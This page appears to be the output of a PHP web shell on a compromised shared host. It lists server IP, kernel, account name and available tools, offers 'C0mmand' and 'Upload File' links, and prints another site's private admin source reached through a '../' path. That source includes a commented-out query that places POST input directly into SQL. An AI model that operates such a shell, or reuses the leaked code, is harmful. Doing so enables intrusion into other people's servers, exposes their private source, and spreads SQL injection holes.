Server IP : 103.53.40.154 / Your IP : 3.137.159.17 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/biocareaqua.org/../theservicemen.co.in/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'config.php'; if(isset($_POST['date_submit'])){ $from_date=$_POST['from_date']; $to_date=$_POST['to_date']; $sql="SELECT datetime FROM tb7_user_issue where id=12"; $result=mysqli_query($db,$sql) or die("query failed"); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ $date_explode=reset(explode(" ",$row['datetime'])); //$time_explode=end(explode(" ",$row['datetime'])); echo $date_explode; } } } // $post_at = ""; // $post_at_to_date = ""; // $queryCondition = ""; // if(!empty($_POST["search"]["post_at"])) { // $post_at = $_POST["search"]["post_at"]; // list($fid,$fim,$fiy) = explode("-",$post_at); // $post_at_todate = date('Y-m-d'); // if(!empty($_POST["search"]["post_at_to_date"])) { // $post_at_to_date = $_POST["search"]["post_at_to_date"]; // list($tid,$tim,$tiy) = explode("-",$_POST["search"]["post_at_to_date"]); // $post_at_todate = "$tiy-$tim-$tid"; // } // $queryCondition .= "WHERE post_at BETWEEN '$fiy-$fim-$fid' AND '" . $post_at_todate . "'"; // } // $sql = "SELECT * from tb9_contact_qeury " . $queryCondition . " ORDER BY post_at desc"; // $result = mysqli_query($conn,$sql); ?>